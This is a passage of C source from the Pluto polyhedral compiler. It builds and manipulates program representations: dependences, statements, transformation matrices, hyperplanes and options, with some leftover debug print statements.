&isl_map_count, &prog->ntransdeps); isl_union_map_foreach_map(trans_dep_waw, &isl_map_count, &prog->ntransdeps); isl_union_map_foreach_map(dep_rar, &isl_map_count, &prog->ntransdeps); if (prog->ntransdeps >= 1) { prog->transdeps = (Dep **)malloc(prog->ntransdeps * sizeof(Dep *)); for (int i=0; i<prog->ntransdeps; i++) { prog->transdeps[i] = pluto_dep_alloc(); } prog->ntransdeps = 0; prog->ntransdeps += extract_deps(prog->transdeps, prog->ntransdeps, prog->stmts, dep_raw, OSL_DEPENDENCE_RAW); prog->ntransdeps += extract_deps(prog->transdeps, prog->ntransdeps, prog->stmts, trans_dep_war, OSL_DEPENDENCE_WAR); prog->ntransdeps += extract_deps(prog->transdeps, prog->ntransdeps, prog->stmts, trans_dep_waw, OSL_DEPENDENCE_WAW); prog->ntransdeps += extract_deps(prog->transdeps, prog->ntransdeps, prog->stmts, dep_rar, OSL_DEPENDENCE_RAR); } isl_union_map_free(trans_dep_war); isl_union_map_free(trans_dep_waw); } #if 0 isl_union_map_free(dep_raw); isl_union_map_free(dep_war); isl_union_map_free(dep_waw); isl_union_map_free(dep_rar); isl_union_map_free(empty); isl_union_map_free(write); isl_union_map_free(read); isl_union_map_free(schedule); isl_set_free(context); #endif #endif return prog; } /*scoplib_matrix_p get_identity_schedule(int dim, int npar){ scoplib_matrix_p smat = scoplib_matrix_malloc(2*dim+1, dim+npar+1+1); int i, j; for(i =0; i<2*dim+1; i++) for(j=0; j<dim+1+npar+1; j++) smat->p[i][j] = 0; for(i=1; i<dim; i++) smat->p[2*i-1][i] = 1; return smat; }*/ // //void print_isl_map( __isl_keep isl_basic_map *bmap, int ncols){ // // int i, j; // for(i=0;i<bmap->n_eq;i++){ // for(j=0;j<ncols;j++){ // printf("%d\t", bmap->eq[i][j]); // } // printf("\n"); // } // //} PlutoMatrix *get_identity_schedule_new(int dim, int npar) { PlutoMatrix *smat = pluto_matrix_alloc(2*dim+1, dim+npar+1); int i, j; for(i =0; i<2*dim+1; i++) for(j=0; j<dim+1+npar; j++) smat->val[i][j] = 0; for(i=0; i<dim; i++) smat->val[i][i] = 1; return smat; } /* * Extract necessary information from clan_scop to create PlutoProg - a * representation of the program sufficient to be used throughout Pluto. * PlutoProg also includes dependences; so candl is run here. */ PlutoProg *scop_to_pluto_prog(osl_scop_p scop, PlutoOptions *options) { int i, max_sched_rows, npar; PlutoProg *prog = pluto_prog_alloc(); /* Program parameters */ npar = scop->context->nb_parameters; osl_strings_p osl_scop_params = NULL; if (npar >= 1) osl_scop_params = (osl_strings_p)scop->parameters->data; for (i=0; i<npar; i++) { pluto_prog_add_param(prog, osl_scop_params->string[i], prog->npar); } pluto_constraints_free(prog->context); prog->context = osl_relation_to_pluto_constraints(scop->context); if (options->codegen_context != -1) { for (i=0; i<prog->npar; i++) { pluto_constraints_add_inequality(prog->codegen_context); prog->codegen_context->val[i][i] = 1; prog->codegen_context->val[i][prog->codegen_context->ncols-1] = -options->codegen_context; } } printf("test codegen_context\n"); read_codegen_context_from_file(prog->codegen_context); printf("test codegen_context done\n"); prog->nstmts = osl_statement_number(scop->statement); prog->options = options; /* Data variables in the program */ printf("data vars\n"); osl_arrays_p arrays = osl_generic_lookup(scop->extension, OSL_URI_ARRAYS); if(arrays==NULL){ prog->num_data = 0; fprintf(stderr, "warning: arrays extension not found\n"); }else{ prog->num_data = arrays->nb_names; prog->data_names = (char **) malloc (prog->num_data * sizeof(char *)); for(i=0; i< prog->num_data; i++) { prog->data_names[i] = strdup(arrays->names[i]); } } osl_statement_p scop_stmt = scop->statement; prog->nvar = osl_statement_get_nb_iterators(scop_stmt); max_sched_rows = 0; for (i=0; i<prog->nstmts; i++) { int stmt_num_iter = osl_statement_get_nb_iterators(scop_stmt); prog->nvar = PLMAX(prog->nvar, stmt_num_iter); max_sched_rows = PLMAX(max_sched_rows, scop_stmt->scattering->nb_rows); scop_stmt = scop_stmt->next; } prog->stmts = osl_to_pluto_stmts(scop); prog->scop = scop; printf("data vars done \n"); printf("compute deps \n"); /* Compute dependences */ if (options->isldep) { compute_deps(scop, prog, options); }else{ /* Using Candl */ candl_options_p candlOptions = candl_options_malloc(); if (options->rar) { candlOptions->rar = 1; } /* No longer supported */ candlOptions->lastwriter = options->lastwriter; candlOptions->scalar_privatization = options->scalpriv; // candlOptions->verbose = 1; /* Add more infos (depth, label, ...) */ /* Needed by Candl */ candl_scop_usr_init(scop); osl_dependence_p candl_deps = candl_dependence(scop, candlOptions); prog->deps = deps_read(candl_deps, prog); prog->ndeps = osl_nb_dependences(candl_deps); candl_options_free(candlOptions); osl_dependence_free(candl_deps); candl_scop_usr_cleanup(scop); //undo candl_scop_user_init prog->transdeps = NULL; prog->ntransdeps = 0; } printf("compute deps done\n"); /* Add hyperplanes */ if (prog->nstmts >= 1) { for (i=0; i<max_sched_rows; i++) { pluto_prog_add_hyperplane(prog,prog->num_hyperplanes,H_UNKNOWN); prog->hProps[prog->num_hyperplanes-1].type = (i%2)? H_LOOP: H_SCALAR; } } /* Hack for linearized accesses */ FILE *lfp = fopen(".linearized", "r"); FILE *nlfp = fopen(".nonlinearized", "r"); char tmpstr[256]; char linearized[256]; if (lfp && nlfp) { for (i=0; i<prog->nstmts; i++) { rewind(lfp); rewind(nlfp); while (!feof(lfp) && !feof(nlfp)) { fgets(tmpstr, 256, nlfp); fgets(linearized, 256, lfp); if (strstr(tmpstr, prog->stmts[i]->text)) { prog->stmts[i]->text = (char *) realloc(prog->stmts[i]->text, sizeof(char)*(strlen(linearized)+1)); strcpy(prog->stmts[i]->text, linearized); } } } fclose(lfp); fclose(nlfp); } return prog; } /* Get an upper bound for transformation coefficients to prevent spurious * transformations that represent shifts or skews proportional to trip counts: * this happens when loop bounds are constants */ int pluto_prog_get_largest_const_in_domains(const PlutoProg *prog) { int max, i, r; max = 0; for (i=0; i<prog->nstmts; i++) { Stmt *stmt = prog->stmts[i]; for (r=0; r<stmt->domain->nrows; r++) { max = PLMAX(max,stmt->domain->val[r][stmt->domain->ncols-1]); } } return max-1; } PlutoProg *pluto_prog_alloc() { PlutoProg *prog = (PlutoProg *) malloc(sizeof(PlutoProg)); prog->nstmts = 0; prog->stmts = NULL; prog->npar = 0; prog->nvar = 0; prog->params = NULL; prog->context = pluto_constraints_alloc(1, prog->npar+1); prog->codegen_context = pluto_constraints_alloc(1, prog->npar+1); prog->deps = NULL; prog->ndeps = 0; prog->transdeps = NULL; prog->ntransdeps = 0; prog->ddg = NULL; prog->hProps = NULL; prog->num_hyperplanes = 0; prog->globcst = NULL; return prog; } void pluto_prog_free(PlutoProg *prog) { int i; /* Free dependences */ for (i=0; i<prog->ndeps; i++) { pluto_dep_free(prog->deps[i]); } free(prog->deps); for (i=0; i<prog->ntransdeps; i++) { pluto_dep_free(prog->transdeps[i]); } free(prog->transdeps); /* Free DDG */ if (prog->ddg != NULL) { graph_free(prog->ddg); } if (prog->hProps != NULL) { free(prog->hProps); } for (i=0; i<prog->npar; i++) { free(prog->params[i]); } if (prog->npar >= 1) { free(prog->params); } /* Statements */ for (i=0; i<prog->nstmts; i++) { pluto_stmt_free(prog->stmts[i]); } if (prog->nstmts >= 1) { free(prog->stmts); } pluto_constraints_free(prog->context); pluto_constraints_free(prog->codegen_context); pluto_constraints_free(prog->globcst); free(prog); } PlutoOptions *pluto_options_alloc() { PlutoOptions *options; options = (PlutoOptions *) malloc(sizeof(PlutoOptions)); /* Initialize to default */ options->flic = 0; options->tile = 0; options->intratileopt = 1; options->debug = 0; options->moredebug = 0; options->scancount = 0; options->parallel = 0; options->innerpar = 0; options->identity = 0; options->lbtile = 0; options->partlbtile = 0; options->iss = 0; options->unroll = 0; /* Unroll/jam factor */ options->ufactor = 8; /* Ignore input deps */ options->rar = 0; /* Override for first and last levels to tile */ options->ft = -1; options->lt = -1; /* Override for first and last cloog options */ options->cloogf = -1; options->cloogl = -1; options->cloogsh = 0; options->cloogbacktrack = 1; options->multipar = 0; options->l2tile = 0; options->prevector = 1; options->fuse = SMART_FUSE; /* Experimental */ options->polyunroll = 0; /* Default context is no context */ options->codegen_context = -1; options->coeff_bound = -1; options->forceparallel = 0; options->bee = 0; options->isldep = 0; options->isldepaccesswise = 1; options->isldepcoalesce = 1; options->candldep = 0; options->pipsolve = 0; options->islsolve = 1; options->readscop = 0; options->lastwriter = 0; options->nodepbound = 0; options->scalpriv = 0; options->silent = 0; options->out_file = NULL; options->time = 0; return options; } /* Add global/program parameter at position 'pos' */ void pluto_prog_add_param(PlutoProg *prog, const char *param, int pos) { int i, j; for (i=0; i<prog->nstmts; i++) { Stmt *stmt = prog->stmts[i]; pluto_constraints_add_dim(stmt->domain, stmt->domain->ncols-1-prog->npar+pos, param); pluto_matrix_add_col(stmt->trans, stmt->trans->ncols-1-prog->npar+pos); for (j=0; j<stmt->nwrites; j++) { pluto_matrix_add_col(stmt->writes[j]->mat, stmt->dim+pos); } for (j=0; j<stmt->nreads; j++) { pluto_matrix_add_col(stmt->reads[j]->mat, stmt->dim+pos); } } for (i=0; i<prog->ndeps; i++) { pluto_constraints_add_dim(prog->deps[i]->dpolytope, prog->deps[i]->dpolytope->ncols-1-prog->npar+pos, NULL); } pluto_constraints_add_dim(prog->context, prog->context->ncols-1-prog->npar+pos, param); pluto_constraints_add_dim(prog->codegen_context, prog->codegen_context->ncols-1-prog->npar+pos, param); prog->params = (char **) realloc(prog->params, sizeof(char *)*(prog->npar+1)); for (i=prog->npar-1; i>=pos; i--) { prog->params[i+1] = prog->params[i]; } prog->params[pos] = strdup(param); prog->npar++; } void pluto_options_free(PlutoOptions *options) { if (options->out_file != NULL) { free(options->out_file); } free(options); } /* pos: position of domain iterator * time_pos: position of time iterator; iter: domain iterator; supply -1 * if you don't want a scattering function row added for it */ void pluto_stmt_add_dim(Stmt *stmt, int pos, int time_pos, const char *iter, PlutoHypType hyp_type, PlutoProg *prog) { int i, npar; npar = stmt->domain->ncols - stmt->dim - 1; assert(pos <= stmt->dim); assert(time_pos <= stmt->trans->nrows); assert(stmt->dim + npar + 1 == stmt->domain->ncols); pluto_constraints_add_dim(stmt->domain, pos, NULL); stmt->dim++; stmt->iterators = (char **) realloc(stmt->iterators, stmt->dim*sizeof(char *)); for (i=stmt->dim-2; i>=pos; i--) { stmt->iterators[i+1] = stmt->iterators[i]; } stmt->iterators[pos] = strdup(iter); /* Stmt should always have a transformation */ assert(stmt->trans != NULL); pluto_matrix_add_col(stmt->trans, pos); if (time_pos != -1) { pluto_matrix_add_row(stmt->trans, time_pos); stmt->trans->val[time_pos][pos] = 1; stmt->hyp_types = realloc(stmt->hyp_types, sizeof(int)*stmt->trans->nrows); for (i=stmt->trans->nrows-2; i>=time_pos; i--) { stmt->hyp_types[i+1] = stmt->hyp_types[i]; } stmt->hyp_types[time_pos] = hyp_type; } /* Update is_orig_loop */ stmt->is_orig_loop = realloc(stmt->is_orig_loop, sizeof(bool)*stmt->dim); for (i=stmt->dim-2; i>=pos; i--) { stmt->is_orig_loop[i+1] = stmt->is_orig_loop[i]; } stmt->is_orig_loop[pos] = true; for (i=0; i<stmt->nwrites; i++) { pluto_matrix_add_col(stmt->writes[i]->mat, pos); } for (i=0; i<stmt->nreads; i++) { pluto_matrix_add_col(stmt->reads[i]->mat, pos); } /* Update dependences */ for (i=0; i<prog->ndeps; i++) { if (prog->deps[i]->src == stmt->id) { pluto_constraints_add_dim(prog->deps[i]->dpolytope, pos, NULL); pluto_constraints_add_dim(prog->deps[i]->bounding_poly, pos, NULL); } if (prog->deps[i]->dest == stmt->id) { pluto_constraints_add_dim(prog->deps[i]->dpolytope, prog->stmts[prog->deps[i]->src]->dim+pos, NULL); pluto_constraints_add_dim(prog->deps[i]->bounding_poly, prog->stmts[prog->deps[i]->src]->dim+pos, NULL); } } for (i=0; i<prog->ntransdeps; i++) { assert(prog->transdeps[i] != NULL); if (prog->transdeps[i]->src == stmt->id) { pluto_constraints_add_dim(prog->transdeps[i]->dpolytope, pos, NULL); pluto_constraints_add_dim(prog->transdeps[i]->bounding_poly, pos, NULL); } if (prog->transdeps[i]->dest == stmt->id) { pluto_constraints_add_dim(prog->transdeps[i]->dpolytope, prog->stmts[prog->transdeps[i]->src]->dim+pos, NULL); pluto_constraints_add_dim(prog->transdeps[i]->bounding_poly, prog->stmts[prog->transdeps[i]->src]->dim+pos, NULL); } } } /* Warning: use it only to knock off a dummy dimension (unrelated to * anything else */ void pluto_stmt_remove_dim(Stmt *stmt, int pos, PlutoProg *prog) { int i, npar; npar = stmt->domain->ncols - stmt->dim - 1; assert(pos <= stmt->dim); assert(stmt->dim + npar + 1 == stmt->domain->ncols); pluto_constraints_remove_dim(stmt->domain, pos); stmt->dim--; if (stmt->iterators != NULL) { free(stmt->iterators[pos]); for (i=pos; i<=stmt->dim-1; i++) { stmt->iterators[i] = stmt->iterators[i+1]; } stmt->iterators = (char **) realloc(stmt->iterators, stmt->dim*sizeof(char *)); } pluto_matrix_remove_col(stmt->trans, pos); /* Update is_orig_loop */ for (i=pos; i<=stmt->dim-1; i++) { stmt->is_orig_loop[i] = stmt->is_orig_loop[i+1]; } stmt->is_orig_loop = realloc(stmt->is_orig_loop, sizeof(bool)*stmt->dim); for (i=0; i<stmt->nwrites; i++) { pluto_matrix_remove_col(stmt->writes[i]->mat, pos); } for (i=0; i<stmt->nreads; i++) { pluto_matrix_remove_col(stmt->reads[i]->mat, pos); } /* Update deps */ for (i=0; i<prog->ndeps; i++) { if (prog->deps[i]->src == stmt->id) { pluto_constraints_remove_dim(prog->deps[i]->dpolytope, pos); } if (prog->deps[i]->dest == stmt->id) { pluto_constraints_remove_dim(prog->deps[i]->dpolytope, prog->stmts[prog->deps[i]->src]->dim+pos); } } for (i=0; i<prog->ntransdeps; i++) { assert(prog->transdeps[i] != NULL); if (prog->transdeps[i]->src == stmt->id) { pluto_constraints_remove_dim(prog->transdeps[i]->dpolytope, pos); } if (prog->transdeps[i]->dest == stmt->id) { pluto_constraints_remove_dim(prog->transdeps[i]->dpolytope, prog->stmts[prog->transdeps[i]->src]->dim+pos); } } } void pluto_stmt_add_hyperplane(Stmt *stmt, PlutoHypType type, int pos) { int i; assert(pos <= stmt->trans->nrows); pluto_matrix_add_row(stmt->trans, pos); stmt->hyp_types = realloc(stmt->hyp_types, sizeof(int)*stmt->trans->nrows); for (i=stmt->trans->nrows-2; i>=pos; i--) { stmt->hyp_types[i+1] = stmt->hyp_types[i]; } stmt->hyp_types[pos] = type; if (stmt->first_tile_dim >= pos) stmt->first_tile_dim++; if (stmt->last_tile_dim >= pos) stmt->last_tile_dim++; } void pluto_prog_add_hyperplane(PlutoProg *prog, int pos, PlutoHypType hyp_type) { int i; prog->num_hyperplanes++; prog->hProps = (HyperplaneProperties *) realloc(prog->hProps, prog->num_hyperplanes*sizeof(HyperplaneProperties)); for (i=prog->num_hyperplanes-2; i>=pos; i--) { prog->hProps[i+1] = prog->hProps[i]; } /* Initialize some */ prog->hProps[pos].unroll = NO_UNROLL; prog->hProps[pos].prevec = 0; prog->hProps[pos].band_num = -1; prog->hProps[pos].dep_prop = UNKNOWN; prog->hProps[pos].type = hyp_type; } /* * Create a new statement (see also pluto_stmt_dup) */ Stmt *pluto_create_stmt(int dim, const PlutoConstraints *domain, const PlutoMatrix *trans, char **iterators, const char *text, PlutoStmtType type) { int i; Stmt *stmt = pluto_stmt_alloc(dim, domain, trans); stmt->type = type; stmt->text = strdup(text); for (i=0; i<stmt->dim; i++) { stmt->iterators[i] = strdup(iterators[i]); } pluto_constraints_set_names_range(stmt->domain, stmt->iterators, 0, 0, stmt->dim); /* TODO: Set names for parameters */ return stmt; } /* Pad statement transformations so that they all equal number * of rows */ void pluto_pad_stmt_transformations(PlutoProg *prog) { int max_nrows, i, j, nstmts; nstmts = prog->nstmts; Stmt **stmts = prog->stmts; /* Pad all trans if necessary with zeros */ max_nrows = 0; for (i=0; i<nstmts; i++) { if (stmts[i]->trans != NULL) { max_nrows = PLMAX(max_nrows, stmts[i]->trans->nrows); } } if (max_nrows >= 1) { for (i=0; i<nstmts; i++) { if (stmts[i]->trans == NULL) { stmts[i]->trans = pluto_matrix_alloc(max_nrows, stmts[i]->dim+prog->npar+1); stmts[i]->trans->nrows = 0; } int curr_rows = stmts[i]->trans->nrows; /* Add all zero rows */ for (j=curr_rows; j<max_nrows; j++) { pluto_stmt_add_hyperplane(stmts[i], H_SCALAR, stmts[i]->trans->nrows); } } int old_hyp_num = prog->num_hyperplanes; for (i=old_hyp_num; i<max_nrows; i++) { /* This is not really H_SCALAR, but this is the best we can do */ pluto_prog_add_hyperplane(prog, prog->num_hyperplanes, H_SCALAR); } } } /* Add statement to program; can't reuse arg stmt pointer any more */ void pluto_add_given_stmt(PlutoProg *prog, Stmt *stmt) { prog->stmts = (Stmt **) realloc(prog->stmts, ((prog->nstmts+1)*sizeof(Stmt *))); stmt->id = prog->nstmts; prog->nvar = PLMAX(prog->nvar, stmt->dim); prog->stmts[prog->nstmts] = stmt; prog->nstmts++; pluto_pad_stmt_transformations(prog); } /* Create a statement and add it to the program * iterators: domain iterators * trans: schedule/transformation * domain: domain * text: statement text */ void pluto_add_stmt(PlutoProg *prog, const PlutoConstraints *domain, const PlutoMatrix *trans, char ** iterators, const char *text, PlutoStmtType type) { int nstmts; assert(trans != NULL); assert(trans->ncols == domain->ncols); nstmts = prog->nstmts; prog->stmts = (Stmt **) realloc(prog->stmts, ((nstmts+1)*sizeof(Stmt *))); Stmt *stmt = pluto_create_stmt(domain->ncols-prog->npar-1, domain, trans, iterators, text, type); stmt->id = nstmts; prog->nvar = PLMAX(prog->nvar, stmt->dim); prog->stmts[nstmts] = stmt; prog->nstmts++; pluto_pad_stmt_transformations(prog); } Dep *pluto_dep_alloc() { Dep *dep = malloc(sizeof(Dep)); dep->id = -1; dep->satvec = NULL; dep->dpolytope = NULL; dep->bounding_poly = NULL; dep->depsat_poly = NULL; dep->satisfied = false; dep->satisfaction_level = -1; dep->dirvec = NULL; dep->src_acc = NULL; dep->dest_acc = NULL; dep->cst = NULL; dep->bounding_cst = NULL; dep->src_unique_dpolytope = NULL; return dep; } Dep *pluto_dep_dup(Dep *d) { Dep *dep = malloc(sizeof(Dep)); dep->id = d->id; dep->src = d->src; dep->dest = d->dest; dep->src_acc = d->src_acc; dep->dest_acc = d->dest_acc; dep->dpolytope = pluto_constraints_dup(d->dpolytope); dep->bounding_poly = pluto_constraints_dup(d->bounding_poly); dep->src_unique_dpolytope = d->src_unique_dpolytope? pluto_constraints_dup( d->src_unique_dpolytope):NULL; dep->depsat_poly = d->depsat_poly? pluto_constraints_dup(d->depsat_poly):NULL; dep->satvec = NULL; // TODO dep->type = d->type; dep->satisfied = d->satisfied; dep->satisfaction_level = d->satisfaction_level; dep->dirvec = NULL; // TODO dep->cst = d->cst? pluto_constraints_dup(d->cst): NULL; dep->bounding_cst = d->bounding_cst? pluto_constraints_dup(d->bounding_cst): NULL; return dep; } /* * Only very essential information is needed to allocate; rest can be * populated as needed */ Stmt *pluto_stmt_alloc(int dim, const PlutoConstraints *domain, const PlutoMatrix *trans) { int i; /* Have to provide a transformation */ assert(trans != NULL); printf("Line %d %s allocating a statement\n",__LINE__,__FILE__); Stmt *stmt = (Stmt *) malloc(sizeof(Stmt)); /* id will be assigned when added to PlutoProg */ stmt->id = -1; stmt->dim = dim; stmt->dim_orig = dim; if (domain != NULL) { stmt->domain = pluto_constraints_dup(domain); }else{ stmt->domain = NULL; } stmt->trans = pluto_matrix_dup(trans); stmt->hyp_types = malloc(stmt->trans->nrows*sizeof(int)); for (i=0; i<stmt->trans->nrows; i++) { stmt->hyp_types[i] = H_LOOP; } stmt->text = NULL; stmt->tile = 1; stmt->num_tiled_loops = 0; stmt->reads = NULL; stmt->writes = NULL; stmt->nreads = 0; stmt->nwrites = 0; /* For diamond tiling */ stmt->evicted_hyp = NULL; stmt->evicted_hyp_pos = -1; stmt->first_tile_dim = 0; stmt->last_tile_dim = -1; stmt->type = STMT_UNKNOWN; stmt->parent_compute_stmt = NULL; if (dim >= 1) { stmt->is_orig_loop = (bool *) malloc(dim*sizeof(bool)); stmt->iterators = (char **) malloc(sizeof(char *)*dim); for (i=0; i<stmt->dim; i++) { stmt->iterators[i] = NULL; } }else{ stmt->is_orig_loop = NULL; stmt->iterators = NULL; } return stmt; } PlutoAccess *pluto_access_dup(const PlutoAccess *acc) { assert(acc); PlutoAccess *nacc = malloc(sizeof(PlutoAccess)); nacc->mat = pluto_matrix_dup(acc->mat); nacc->name = strdup(acc->name); nacc->sym_id = acc->sym_id; return nacc; } void pluto_access_free(PlutoAccess *acc) { if (acc) { pluto_matrix_free(acc->mat); free(acc->name); free(acc); } } void pluto_stmt_free(Stmt *stmt) { int i, j; pluto_constraints_free(stmt->domain); pluto_matrix_free(stmt->trans); free(stmt->hyp_types); if (stmt->text != NULL) { free(stmt->text); } for (j=0; j<stmt->dim; j++) { if (stmt->iterators[j] != NULL) { free(stmt->iterators[j]); } } /* If dim is zero, iterators, is_orig_loop are NULL */ if (stmt->iterators != NULL) { free(stmt->iterators); free(stmt->is_orig_loop); } PlutoAccess **writes = stmt->writes; PlutoAccess **reads = stmt->reads; if (writes != NULL) { for (i=0; i<stmt->nwrites; i++) { pluto_access_free(writes[i]); } free(writes); } if (reads != NULL) { for (i=0; i<stmt->nreads; i++) { pluto_access_free(reads[i]); } free(reads); } free(stmt); } /*char *get_data_extent(PlutoAccess *acc, char **params, int npars, int dim) { return scoplib_symbol_table_get_bound(acc->symbol, dim, params, npars); }*/ /* Get Alpha matrix (A matrix - INRIA transformation representation */ PlutoMatrix *get_alpha(const Stmt *stmt, const PlutoProg *prog) { int r, c, i; PlutoMatrix *a; a = pluto_matrix_alloc(stmt->dim, stmt->dim); r=0; for (i=0; i<stmt->trans->nrows; i++) { if (stmt->hyp_types[i] == H_LOOP || stmt->hyp_types[i] == H_TILE_SPACE_LOOP) { for (c=0; c<stmt->dim; c++) { a->val[r][c] = stmt->trans->val[i][c]; } r++; if (r==stmt->dim) break; } } assert(r==stmt->dim); return a; } int pluto_is_hyperplane_scalar(const Stmt *stmt, int level) { int j; assert(level <= stmt->trans->nrows-1); for (j=0; j<stmt->dim; j++) { if (stmt->trans->val[level][j] != 0) return 0; } return 1; } int pluto_is_hyperplane_loop(const Stmt *stmt, int level) { return !pluto_is_hyperplane_scalar(stmt, level); } /* Get the remapping matrix: maps time iterators back to the domain * iterators; divs: divisors for the rows */ PlutoMatrix *pluto_stmt_get_remapping(const Stmt *stmt, int **divs) { int i, j, k, _lcm, factor1, npar; PlutoMatrix *remap, *trans; trans = stmt->trans; remap = pluto_matrix_dup(trans); npar = stmt->domain->ncols - stmt->dim - 1; *divs = malloc(sizeof(int)*(stmt->dim+npar+1)); for (i=0; i<remap->nrows; i++) { pluto_matrix_negate_row(remap, remap->nrows-1-i); pluto_matrix_add_col(remap, 0); remap->val[trans->nrows-1-i][0] = 1; } /* Bring the stmt iterators to the left */ for (i=0; i<stmt->dim; i++) { pluto_matrix_move_col(remap, remap->nrows+i, i); } assert(stmt->dim <= remap->nrows); for (i=0; i<stmt->dim; i++) { // pluto_matrix_print(stdout, remap); if (remap->val[i][i] == 0) { for (k=i+1; k<remap->nrows; k++) { if (remap->val[k][i] != 0) break; } if (k<remap->nrows) { pluto_matrix_interchange_rows(remap, i, k); }else{ /* Can't associate domain iterator with time iterator */ /* Shouldn't happen with a full-ranked transformation */ printf("Can't associate domain iterator #%d with time iterators\n", i+1); pluto_matrix_print(stdout, remap); assert(0); } } //printf("after interchange %d\n", i); //pluto_matrix_print(stdout, remap); assert(remap->val[i][i] != 0); for (k=i+1; k<remap->nrows; k++) { if (remap->val[k][i] == 0) continue; _lcm = lcm(remap->val[k][i], remap->val[i][i]); factor1 = _lcm/remap->val[k][i]; for (j=i; j<remap->ncols; j++) { remap->val[k][j] = remap->val[k][j]*factor1 - remap->val[i][j]*(_lcm/remap->val[i][i]); } } //printf("after iteration %d\n", i); //pluto_matrix_print(stdout, remap); } //pluto_matrix_print(stdout, remap); /* Solve upper triangular system now */ for (i=stmt->dim-1; i>=0; i--) { assert(remap->val[i][i] != 0); for (k=i-1; k>=0; k--) { if (remap->val[k][i] == 0) continue; _lcm = lcm(remap->val[k][i], remap->val[i][i]); factor1 = _lcm/remap->val[k][i]; for (j=0; j<remap->ncols; j++) { remap->val[k][j] = remap->val[k][j]*(factor1) - remap->val[i][j]*(_lcm/remap->val[i][i]); } } } assert(remap->nrows >= stmt->dim); for (i=remap->nrows-1; i>=stmt->dim; i--) { pluto_matrix_remove_row(remap, remap->nrows-1); } // pluto_matrix_print(stdout, remap); for (i=0; i<stmt->dim; i++) { assert(remap->val[i][i] != 0); if (remap->val[i][i] <= -1) { pluto_matrix_negate_row(remap, i); } (*divs)[i] = abs(remap->val[i][i]); } // pluto_matrix_print(stdout, remap); for (i=0; i<stmt->dim; i++) { pluto_matrix_remove_col(remap, 0); } for (i=0; i<stmt->dim; i++) { pluto_matrix_negate_row(remap, i); } /* Identity for the parameter and constant part */ for (i=0; i<npar+1; i++) { pluto_matrix_add_row(remap, remap->nrows); remap->val[remap->nrows-1][remap->ncols-npar-1+i] = 1; (*divs)[stmt->dim+i] = 1; } // printf("Remapping using new technique is\n"); // pluto_matrix_print(stdout, remap); return remap; } void pluto_prog_params_print(const PlutoProg *prog) { int i; for (i=0; i<prog->npar; i++) { printf("%s\n", prog->params[i]); } } /* Get new access function */ PlutoMatrix *pluto_get_new_access_func(const Stmt *stmt, const PlutoMatrix *acc, int **divs) { PlutoMatrix *remap, *newacc; int r, c, npar, *remap_divs; npar = stmt->domain->ncols - stmt->dim - 1; *divs = malloc(sizeof(int)*acc->nrows); // printf("Old access function is \n");; // pluto_matrix_print(stdout, acc);; // printf("Stmt trans\n"); // pluto_matrix_print(stdout, stmt->trans); remap = pluto_stmt_get_remapping(stmt, &remap_divs); // printf("Remapping matrix\n"); // pluto_matrix_print(stdout, remap); // int _lcm = 1; for (r=0; r<remap->nrows; r++) { assert(remap_divs[r] != 0); _lcm = lcm(_lcm,remap_divs[r]); } for (r=0; r<remap->nrows; r++) { for (c=0; c<remap->ncols; c++) { remap->val[r][c] = (remap->val[r][c]*_lcm)/remap_divs[r]; } } newacc = pluto_matrix_product(acc, remap); // printf("New access function is \n"); // pluto_matrix_print(stdout, newacc); // printf("New access function is \n"); // pluto_matrix_print(stdout, newacc); for (r=0; r<newacc->nrows; r++) { (*divs)[r] = _lcm; } // IF_DEBUG2(printf("New access function is \n")); // IF_DEBUG2(pluto_matrix_print(stdout, newacc)); assert(newacc->ncols = stmt->trans->nrows+npar+1); pluto_matrix_free(remap); free(remap_divs); return newacc; } /* Separates a list of statements at level 'level' */ void pluto_separate_stmts(PlutoProg *prog, Stmt **stmts, int num, int level, int offset) { int i, nstmts, k; nstmts = prog->nstmts; // pluto_matrix_print(stdout, stmt->trans); for (i=0; i<nstmts; i++) { pluto_stmt_add_hyperplane(prog->stmts[i], H_SCALAR, level); } // pluto_matrix_print(stdout, stmt->trans); for (k=0; k<num; k++) { stmts[k]->trans->val[level][stmts[k]->trans->ncols-1] = offset+1+k; } pluto_prog_add_hyperplane(prog, level, H_SCALAR); prog->hProps[level].dep_prop = SEQ; } /* Separates a statement from the rest (places it later) at level 'level'; * this is done by inserting a scalar dimension separating them */ void pluto_separate_stmt(PlutoProg *prog, const Stmt *stmt, int level) { int i, nstmts; nstmts = prog->nstmts; // pluto_matrix_print(stdout, stmt->trans); for (i=0; i<nstmts; i++) { pluto_stmt_add_hyperplane(prog->stmts[i], H_SCALAR, level); } // pluto_matrix_print(stdout, stmt->trans); stmt->trans->val[level][stmt->trans->ncols-1] = 1; pluto_prog_add_hyperplane(prog, level, H_SCALAR); prog->hProps[level].dep_prop = SEQ; } int pluto_stmt_is_member_of(int stmt_id, Stmt **slist, int len) { int i; for (i=0; i<len; i++) { if (stmt_id == slist[i]->id) return 1; } return 0; } int pluto_stmt_is_subset_of(Stmt **s1, int n1, Stmt **s2, int n2) { int i; for (i=0; i<n1; i++) { if (!pluto_stmt_is_member_of(s1[i]->id, s2, n2)) return 0; } return 1; } /* Add new to accs if it's an access to a variable not already contained in * accs */ void add_if_new_var(PlutoAccess ***accs, int *num, PlutoAccess *new) { int i; for (i=0; i<*num; i++) { if (!strcmp((*accs)[i]->name, new->name)) { break; } } if (i==*num) { *accs = realloc(*accs, (*num+1)*sizeof(PlutoAccess *)); (*accs)[*num] = new; (*num)++; } } /* Get all write accesses in the program */ PlutoAccess **pluto_get_all_waccs(const PlutoProg *prog, int *num) { int i; PlutoAccess **accs = NULL; *num = 0; for (i=0; i<prog->nstmts; i++) { assert(prog->stmts[i]->nwrites == 1); add_if_new_var(&accs, num, prog->stmts[i]->writes[0]); } return accs; } int pluto_get_max_ind_hyps_non_scalar(const PlutoProg *prog) { int max, i; max = 0; for (i=0; i<prog->nstmts; i++) { max = PLMAX(max, pluto_stmt_get_num_ind_hyps_non_scalar(prog->stmts[i])); } return max; } int pluto_get_max_ind_hyps(const PlutoProg *prog) { int max, i; max = 0; for (i=0; i<prog->nstmts; i++) { max = PLMAX(max, pluto_stmt_get_num_ind_hyps(prog->stmts[i])); } return max; } int pluto_stmt_get_num_ind_hyps_non_scalar(const Stmt *stmt) { int isols, i,j=0; PlutoMatrix *tprime = pluto_matrix_dup(stmt->trans); /* Ignore padding dimensions, params, and constant part */ for (i=stmt->dim_orig; i<stmt->trans->ncols; i++) { pluto_matrix_remove_col(tprime, stmt->dim_orig); } for (i=0; i<stmt->trans->nrows; i++) { if (stmt->hyp_types[i]==H_SCALAR) { pluto_matrix_remove_row(tprime, i-j); j++; } } isols = 